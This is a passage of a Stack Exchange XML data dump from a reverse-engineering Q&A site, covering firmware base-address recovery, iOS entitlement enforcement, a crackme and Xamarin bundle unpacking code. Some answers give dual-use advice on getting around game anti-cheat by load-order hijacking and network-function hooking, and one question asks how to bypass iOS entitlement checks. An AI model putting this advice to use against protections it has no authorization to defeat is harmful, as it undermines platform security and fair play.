  <row Id="16617" PostTypeId="2" ParentId="16612" CreationDate="2017-10-24T20:04:47.413" Score="7" Body="&lt;p&gt;What I usually do: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Load the binary at a not too small base address, like &lt;code&gt;0x10000000&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Identify as many functions and strings as possible.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you may get lucky starting with only the strings, that is usually less work.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;create a list of all constant values, immediates, and dword (assuming a 32 bit binary) values.&lt;/li&gt;&#xA;&lt;li&gt;now sort the list of function and string addresses, and calculate the differences between each consecutive address.&lt;/li&gt;&#xA;&lt;li&gt;do the same for the list of constant values.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you have two lists of address differences, if you find a sequence of consecutive differences which is in both lists, you have found your base address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works most of the time, but you can run in to the problem that both lists may be incomplete. For instance the address list will not have absolute pointers for each function, or maybe you disassembled some functions incorrectly. Maybe you will have better luck focussing on the string addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually do this list matching by hand, in &lt;code&gt;vim&lt;/code&gt; using regex searches. On some occasions I have written small scripts to help finding a match. ... but i can't find those right now, i will update my post if i find them again.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;summary of the &lt;a href=&quot;https://chat.stackexchange.com/rooms/67646/discussion-between-willem-hengeveld-and-baordog&quot;&gt;chat&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The firmware file being discussed: &lt;a href=&quot;http://dvdo.com/wp-content/uploads/2015/10/Matrix6_Version_01.zip&quot; rel=&quot;noreferrer&quot;&gt;DVDO Matrix6 Firmware 01.01&lt;/a&gt; from &lt;a href=&quot;http://dvdo.com/product/dvdo-matrix6&quot; rel=&quot;noreferrer&quot;&gt;dvdo&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look at other binaries from the same site, and found references to the &lt;code&gt;LPC1758&lt;/code&gt; - an ARM based chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed IDA does not immediately recognize the binary. The reason is that this binary has only Thumb instructions. IDA expects arm binaries to start with ARM32 code.&#xA;Thumb code can be recognised from a hex dump by the presence of byte sequences like &lt;code&gt;70 47&lt;/code&gt; (BX LR), &lt;code&gt;00 bf&lt;/code&gt; (NOP), &lt;code&gt;*0 b5&lt;/code&gt; (PUSH {...}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after changing the segment type &lt;code&gt;T&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; using &lt;code&gt;Alt-G&lt;/code&gt;. I could disassemble the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding the offset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two commands will generate a list of dwords occurring in the file, and a list of strings occurring in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;od -Ax -t x4 Matrix6_Version_01/M6FW0101.BIN | perl -pe 's/^\w+\s+//' | tr &quot; &quot; &quot;\n&quot; | sort|uniq  &amp;gt; dwordlist.txt&#xA;strings -10 -o -t x &quot;Matrix6_Version_01/M6FW0101.BIN&quot; &amp;gt; stringlist.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now look at the first real text in the stringlist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;28eaa pGSAC Initiation task finished&#xA;28eca SAC Audio Format Discovery task finished&#xA;28ef4 SAC volume has changed&#xA;28f0c Audio System Logical Address not assigned&#xA;28f37 CBUS MUTE received&#xA;28f4b CBUS UN-MUTE received&#xA;28f62 CBUS VOL UP received&#xA;28f78 CBUS VOL DOWN received&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may notice that the first 2 characters of the first string, &lt;code&gt;pG&lt;/code&gt; is actually a &lt;code&gt;70 47&lt;/code&gt; or &lt;code&gt;BX LR&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i would load both files in &lt;code&gt;Vim&lt;/code&gt;, and in both run this vim-perl script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:perldo s/^\w+/($x,$p)=(hex($&amp;amp;),$x); sprintf(&quot;%s(%8x)&quot;, $&amp;amp;, $x-$p)/e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will lead to a string list looking partially like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;28eaa(    25dd) pGSAC Initiation task finished&#xA;28eca(      20) SAC Audio Format Discovery task finished&#xA;28ef4(      2a) SAC volume has changed&#xA;28f0c(      18) Audio System Logical Address not assigned&#xA;28f37(      2b) CBUS MUTE received&#xA;28f4b(      14) CBUS UN-MUTE received&#xA;28f62(      17) CBUS VOL UP received&#xA;28f78(      16) CBUS VOL DOWN received&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now, skipping the first two, because of the incorrect &lt;code&gt;pG&lt;/code&gt; start, I search in &lt;code&gt;dwordlist.txt&lt;/code&gt;, for consecutive lines with respectively &lt;em&gt;2a&lt;/em&gt;, &lt;em&gt;18&lt;/em&gt; and &lt;em&gt;2b&lt;/em&gt;, using this regex search:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ 2a)\n.* 18)\n.* 2b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leads me to the following lines matching in both files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0002ebc3(      80)&#xA;0002eeac(     2e9)       28eaa(    25dd) pGSAC Initiation task finished&#xA;0002eeca(      1e)       28eca(      20) SAC Audio Format Discovery task finished&#xA;0002eef4(      2a)       28ef4(      2a) SAC volume has changed&#xA;0002ef0c(      18)       28f0c(      18) Audio System Logical Address not assigned&#xA;0002ef37(      2b)       28f37(      2b) CBUS MUTE received&#xA;0002ef4b(      14)       28f4b(      14) CBUS UN-MUTE received&#xA;0002ef62(      17)       28f62(      17) CBUS VOL UP received&#xA;0002ef78(      16)       28f78(      16) CBUS VOL DOWN received&#xA;0002ef8c(      14)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subtracting 0x28eaa from 0x2eeac leads me to an offset of &lt;code&gt;0x6000&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2017-10-25T19:56:39.867" LastActivityDate="2017-10-25T19:56:39.867" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16618" PostTypeId="2" ParentId="16614" CreationDate="2017-10-24T20:12:55.900" Score="1" Body="&lt;p&gt;I think it's important to differentiate security-oriented microcontrollers where advanced security measures are implemented on several levels including physical arrangement of the chip and general-purpose controllers, maybe with some basic security features. I'm going to answer mostly about the latter group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a technical reference manual mentions memory protection and MPU, it usually means there are several privilege levels in software. Software being run in &quot;userspace&quot; (I'm using quotes here because this term comes from big operating systems running on big processors) can only access certain regions of memory. However, this protection is implemented by matching the address about to be read/written with a set of allowed addresses. Actual address mapping process may be very complicated, but the important thing is that if the access is not allowed, a particular bus transaction won't even reach the memory interface of peripheral bus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the bus connection doesn't go anywhere. It's still on the chip, but the invalid accesses don't even trigger any change of signals on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BT5Vg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BT5Vg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, would it be possible to glitch the logic to make invalid accesses valid? Most certainly, and there are several techniques to it. Check out these links:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cl.cam.ac.uk/~sps32/ECRYPT2011_1.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cl.cam.ac.uk/~sps32/ECRYPT2011_1.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cl.cam.ac.uk/~sps32/ECRYPT2011_2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cl.cam.ac.uk/~sps32/ECRYPT2011_2.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.quovadislabs.com/projects.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.quovadislabs.com/projects.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://newae.com/tools/chipwhisperer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://newae.com/tools/chipwhisperer/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2017-10-24T20:12:55.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16619" PostTypeId="1" AcceptedAnswerId="16620" CreationDate="2017-10-25T07:51:37.537" Score="2" ViewCount="1628" Body="&lt;p&gt;I'd like to analyze iOS private framework that broke commonly used GitHub project called &lt;code&gt;AppLister&lt;/code&gt;. Here's some info about the API:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Framework : MobileCoreServices.framework.&#xA;Class: LSApplicationWorkspace.&#xA;Method: allApplication.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Starting from iOS11, this call returns empty list unless the following entitlement is added to the application :  &lt;code&gt;com.apple.appstored.xpc.request&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like this API was closed in iOS11 and you need the following entitlement in order to allow it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prior to reversing, I wish to understand the flow of entitlement verification in general and maybe get into some details.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've found out so far, it looks like the App use XPC for remote daemon that perform the actual verification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I still have some black holes in this explanation. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Does the policy checker daemon also perform the method itself, or just return allow/block verdict.&#xA;2. Does the flow involve kernel verification or just user-space processes. &#xA;3. Is there a way to bypass this flow if I can only control the local process (not the checker or course) by skipping the policy check phase and call the API directly ? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd be happy to here some more about how this is working, and if I've missed something. &lt;/p&gt;&#xA;" OwnerUserId="19879" LastActivityDate="2018-01-26T20:11:09.210" Title="iOS entitlements for enable calling to private API" Tags="|ios|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16620" PostTypeId="2" ParentId="16619" CreationDate="2017-10-25T08:34:10.207" Score="1" Body="&lt;p&gt;Apparently the kernel extension called AppleMobileFileIntegrity (AFMI) is responsible for enforcing the entitlements. Here's a presentation which has some detail of the implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://newosxbook.com/files/HITSB.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;The Apple Sandbox -five years later&lt;/em&gt; by Jonathan Levin.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-25T08:34:10.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16621" PostTypeId="2" ParentId="16616" CreationDate="2017-10-25T13:45:35.123" Score="1" Body="&lt;p&gt;I don't think this question will get much traction here given it's a very specific, while still being quite broad. That being said some input for general game hacking: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your first step would be to figure out how the anti-cheat is being loaded: is it being streamed from a secure server, is it a DLL which is loaded at runtime, etc. Once you've found out how the anti-cheat is loaded, you can implement a workaround, i.e load order hijacking, or patching the stream routine. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your assumption is correct, hooking the networking functions is easiest way of altering/decoding packets. Look for a specific function calls (i.e createsocket, send, recv etc) and work backwards from there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user15338" LastActivityDate="2017-10-25T13:45:35.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16622" PostTypeId="2" ParentId="16616" CreationDate="2017-10-25T17:02:53.447" Score="2" Body="&lt;p&gt;Game hacker here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To address your first question, forums like &lt;a href=&quot;https://www.elitepvpers.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ElitePVPers&lt;/a&gt;, &lt;a href=&quot;http://www.ownedcore.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OwnedCore&lt;/a&gt;, &lt;a href=&quot;https://unknowncheats.me/&quot; rel=&quot;nofollow noreferrer&quot;&gt;UnknownCheats&lt;/a&gt;, &lt;a href=&quot;http://www.mpgh.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MPGH&lt;/a&gt;, etc. are going to be your absolute best friend. The people you'll find in those places are steeped in exactly this type of reversing, so starting with a Google search like &lt;a href=&quot;https://www.google.com/search?q=unknowncheats%20gameguard&quot; rel=&quot;nofollow noreferrer&quot;&gt;UnknownCheats GameGuard&lt;/a&gt; will yield results like &lt;a href=&quot;https://www.unknowncheats.me/wiki/GameGuard&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. That alone should give you a well-rounded summary of the technology and some of its current exploits (meaning you may not have to do very much heavy lifting on your own).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your second question, yes, that's a viable approach, but it can be extremely tough to find your way to decrypted data depending on how well-guarded they keep it (whether through odd Assembly instruction/sub-routine obfuscation, VMs, ridiculous looping, etc., etc.). Once again, those forums should really take you far. It sounds like you already have a good grasp on the language of reversing, so you positing questions around those places should be taken to by the more intelligent and experienced folks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I highly recommend the book &lt;a href=&quot;https://www.nostarch.com/networkprotocols&quot; rel=&quot;nofollow noreferrer&quot;&gt;Attacking Network Protocols&lt;/a&gt; if that's one of the key areas that interests you with reversing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2017-10-25T20:43:40.227" LastActivityDate="2017-10-25T20:43:40.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16624" PostTypeId="1" AcceptedAnswerId="16636" CreationDate="2017-10-25T20:46:11.297" Score="1" ViewCount="530" Body="&lt;p&gt;I was given two DLL files &lt;a href=&quot;https://mega.nz/#!w0RnhJTQ!_j3sImHX2Heo0Zb35rZw6uKYLFz8FTqoSmnE-zZDrVs&quot; rel=&quot;nofollow noreferrer&quot;&gt;(link)&lt;/a&gt; . The task is to get the flag from them. First what I've done - opened the first file (called &lt;code&gt;original&lt;/code&gt;) in IDA and found the function called &lt;code&gt;_GetFlag&lt;/code&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nur45.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nur45.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understood, I need to call that function from the DLL library somehow (that's the first question - I don't have any info about the function except its name, so I'd like to know how exactly I can call it).&#xA;However, as wee see, even if I knew how to call it, we can't get the flag from &lt;code&gt;original&lt;/code&gt; DLL, it says &lt;code&gt;Sry, flag is in the patched version&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I opened &lt;code&gt;patched&lt;/code&gt; DLL in IDA. First what we see that the file can be opened only as a binary:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/yCFF3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCFF3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, I opened the Strings window and we see the string &lt;code&gt;&quot;0day is bring your own header day! Flag is: %s&quot;&lt;/code&gt; . It looks like a key for solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/izwnv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/izwnv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't exactly know what to do after that. I'd really appreciate if somebody would explain me how to solve this.&lt;/p&gt;&#xA;" OwnerUserId="21709" LastEditorUserId="21709" LastEditDate="2017-10-25T22:17:28.480" LastActivityDate="2018-07-01T14:05:05.900" Title="Solving method of DLL crackme" Tags="|ida|dll|crackme|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16625" PostTypeId="1" AcceptedAnswerId="16700" CreationDate="2017-10-25T21:55:04.613" Score="7" ViewCount="4422" Body="&lt;p&gt;As the title stands, I want to label local variables ([ebp - x] addresses) the same way I do with functions and global variables. What I've learned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I found no way to label locals in the debugger window.&lt;/li&gt;&#xA;&lt;li&gt;There's &lt;code&gt;Locals&lt;/code&gt; tab in the bottom panel. I can give names to locals there, but they don't propagate to the main window.&lt;/li&gt;&#xA;&lt;li&gt;I can rename variables in the decompiler window, but again, they don't sync with the debugger window.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If x64dbg lacks this functionality, is there any plugin that achieves this?&lt;/p&gt;&#xA;" OwnerUserId="22061" LastActivityDate="2017-11-03T03:51:22.347" Title="How to label local variables in x64dbg" Tags="|tools|debuggers|x64dbg|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16626" PostTypeId="1" AcceptedAnswerId="16630" CreationDate="2017-10-26T01:49:38.147" Score="8" ViewCount="3810" Body="&lt;p&gt;I want to learn to reverse engineer hardware/firmware as well as software (eventually, i want to focus on hardware/firmware now). I have some experience programming STM32 microcontrollers as well as decent understanding of C. I understand verilog and have made some simple stuff in FPGA and have done PCB board design before as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started reading &quot;Reverse Engineering for Beginners&quot; but it seems like a lot of examples with no hands-on projects to work with. I learn a lot more by doing so if there was a book that teaches you reverse engineering, assembly/disassembly, and other topics with a project in mind i'd much prefer it. I'd like to learn ARM and x86 but more of a focus on ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for tools i have a Bus Pirate, Logic Analyzer, and basic soldering equipment. Any recommendations on tools i should get and projects i can do?&lt;/p&gt;&#xA;" OwnerUserId="22063" LastActivityDate="2017-10-26T08:42:05.710" Title="Are there any project based books that teach reverse engineering?" Tags="|firmware|hardware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16627" PostTypeId="1" CreationDate="2017-10-26T04:24:16.637" Score="1" ViewCount="1548" Body="&lt;p&gt;On Windows, how would one go about hiding procmon from another process? What techniques/terms would I be searching for?&lt;/p&gt;&#xA;" OwnerUserId="22065" LastActivityDate="2017-10-26T14:53:46.120" Title="Techniques to hide a process (procmon)?" Tags="|obfuscation|" AnswerCount="2" CommentCount="0" ClosedDate="2017-10-29T07:56:51.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="16629" PostTypeId="2" ParentId="16626" CreationDate="2017-10-26T05:42:42.147" Score="1" Body="&lt;p&gt;Possibly relevant books:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.nostarch.com/xboxfree&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hacking the Xbox (free)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118787315,subjectCd-CSJ0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blogs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sviehb.wordpress.com/2011/09/06/reverse-engineering-an-obfuscated-firmware-image-e01-unpacking/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.braindump - RE and stuff&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://igorsk.blogspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing Everything&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devttys0.com/blog&quot; rel=&quot;nofollow noreferrer&quot;&gt;Embedded Device Hacking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Forums with demos and write-ups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.exploitee.rs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;exploitee.rs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;misc:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://security.cs.rpi.edu/courses/hwre-spring2014/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSCI 4974 / 6974 Hardware Reverse Engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forum.chumby.com/viewtopic.php?id=8654&quot; rel=&quot;nofollow noreferrer&quot;&gt;chumby&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://hackaday.io/projects?tag=reverse%20engineering&quot; rel=&quot;nofollow noreferrer&quot;&gt;various RE projects at hackaday.io&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-10-26T05:42:42.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16630" PostTypeId="2" ParentId="16626" CreationDate="2017-10-26T07:12:32.400" Score="4" Body="&lt;p&gt;You are right, most of the RE books out there are more generic and consists of dozens of different examples and not project oriented. Moreover, they're mostly focused on software reverse engineering.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From these, and as a reference, it is worth to mention:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://beginners.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering for Beginners&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/1118787315&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Reverse Engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/0764574817&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing: Secrets of Reverse Engineering&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/1593272898&quot; rel=&quot;nofollow noreferrer&quot;&gt;The IDA Pro Book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the field of hardware reverse engineering, however, it is much harder to find a proper book, not to say one which is project oriented. But there is one book which overcomes the other and seems to fit best for your needs – &lt;a href=&quot;https://www.nostarch.com/xboxfree&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hacking the Xbox: An Introduction to Reverse Engineering&lt;/a&gt; by Andrew Huang. The book is available for free since March 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote from the book's description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This hands-on guide to hacking begins with step-by-step tutorials on&#xA;  hardware modifications that teach basic hacking techniques as well as&#xA;  essential reverse engineering skills. The book progresses into a&#xA;  discussion of the Xbox security mechanisms and other advanced hacking&#xA;  topics, with an emphasis on educating the readers on the important&#xA;  subjects of computer security and reverse engineering. Hacking the&#xA;  Xbox includes numerous practical guides, such as where to get hacking&#xA;  gear, soldering techniques, debugging tips and an Xbox hardware&#xA;  reference guide.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can visit the book's &lt;a href=&quot;http://hackingthexbox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;official website&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other books which you may find helpful are listed below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/1931836310&quot; rel=&quot;nofollow noreferrer&quot;&gt;Game Console Hacking: Xbox, PlayStation, Nintendo, Game Boy...&lt;/a&gt;, by Joe Grand et al.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.nostarch.com/hardwarehacker&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Hardware Hacker - Adventures in Making and Breaking Hardware&lt;/a&gt;, by Andrew Huang&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/1932266836&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hardware Hacking: Have Fun While Voiding Your Warranty&lt;/a&gt;, by Joe Grand&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/0596003145&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hardware Hacking Projects for Geeks&lt;/a&gt;, by Scott Fullam&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It is important for me to note that although the fact that most of these books is available online pirately, I encourage you to &lt;strong&gt;buy&lt;/strong&gt; the books you are interested in and support their  authors.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On a general note, I'd suggest you to start reverse engineering from routers and old game consoles. Good references could be found in &lt;a href=&quot;http://www.devttys0.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;/dev/ttys0&lt;/a&gt;. Choose a product which is cheap and you can buy many pieces from it so you won't be afraid of destroying it with your tests. The Super Nintendo Entertainment System (SNES) is an example for a console which is documented in details by other reverse engineers, check &lt;a href=&quot;https://www.zophar.net/documents/snes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; for example. As for tools, most of the resources above contains recommendations for tools that would help you in each project.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-10-26T08:42:05.710" LastActivityDate="2017-10-26T08:42:05.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16631" PostTypeId="2" ParentId="16508" CreationDate="2017-10-26T08:22:05.203" Score="3" Body="&lt;p&gt;Thanks to the original poster who figured it out (and the other suggestion for foremost). I had to audit some of our own xamarin apps and wanted to unpack the code so I have what an attacker would be able to get to.&#xA;After decompiling the .so and checking out the headers, I'm certain it's possible to derive the magic offset from the file (with the number of dlls you have). After spending a couple of hours though, it turned out quicker to just extract all of the gzip streams in the file :)&#xA;So, thank you all, here's what code I ended up with to get work done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;using System.IO;&#xA;using System.IO.Compression;&#xA;using System.Collections.Generic;&#xA;using System.Text;&#xA;&#xA;using Kaitai; //http://formats.kaitai.io/elf/csharp.html&#xA;&#xA;public class unpack {&#xA;static void Main(string[] args)&#xA;    {&#xA;        var unpacked = &quot;unpacked&quot;;&#xA;        Directory.CreateDirectory(unpacked);&#xA;&#xA;        var path = @&quot;path\libmonodroid_bundle_app.so&quot;;&#xA;        var bytes = File.ReadAllBytes(path);&#xA;&#xA;        var elf = Elf.FromFile(path);&#xA;&#xA;        var rodata = elf.Header.SectionHeaders.FirstOrDefault(x =&amp;gt; x.Name.Equals(&quot;.rodata&quot;));&#xA;        if(rodata == null)&#xA;        {&#xA;            Console.WriteLine(&quot;.rodata not found&quot;);&#xA;            Console.ReadKey();&#xA;            return;&#xA;        }&#xA;&#xA;        int dllCount = 0;&#xA;&#xA;        //read in all the packed file names&#xA;        var packedFiles = new List&amp;lt;string&amp;gt;();&#xA;        uint addr = (uint)rodata.Addr;&#xA;        while(true)&#xA;        {&#xA;            //up to 16 bytes of alignment&#xA;            uint i;&#xA;            for(i = 0; i &amp;lt; 16; i++)&#xA;                if(bytes[addr + i] != 0)&#xA;                    break;&#xA;&#xA;            if(i == 16)&#xA;                break; //We found all the files&#xA;            else&#xA;                addr += i;&#xA;&#xA;            var name = GetString(bytes, addr);&#xA;            if(string.IsNullOrWhiteSpace(name))&#xA;                break;&#xA;&#xA;            //We only care about 